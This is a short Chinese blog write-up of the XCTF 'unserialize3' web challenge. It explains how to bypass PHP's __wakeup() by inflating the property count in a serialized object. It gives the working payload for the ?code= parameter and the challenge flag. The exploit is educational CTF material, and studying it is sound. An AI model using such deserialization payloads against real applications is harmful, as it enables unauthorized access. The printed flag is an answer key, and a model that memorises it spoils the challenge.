【攻防世界-Web进阶篇-005unserialize3】

解:打开靶机是一段php代码,最后问你?code=应该等于多少,看见_wakeup()就是典型的反序列化的题。

题目比较简单,只有一个xctf类,首先需要对其实例化,再用serialize进行序列化输出字符串 :

<?php
    class xctf{ 
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
        }
    }
    $xctf=new xctf();
    echo(serialize($xctf));
?>
序列化结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

又因为_wakeup()的原因,需要让_wakeup()失效实现绕过,当属性个数不正确时,_wakeup()内部函数返回值出现异常导致其它函数无法执行,就不会执行_wakeup()函数,所以咱们只需要让序列化结果中的属性值改变即可,如1->2.

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

 如果不做修改就会执行_wakeup()函数

 所以

payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

 cyberpeace{1c3996e230aa1ae7c4242a483ad76028}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值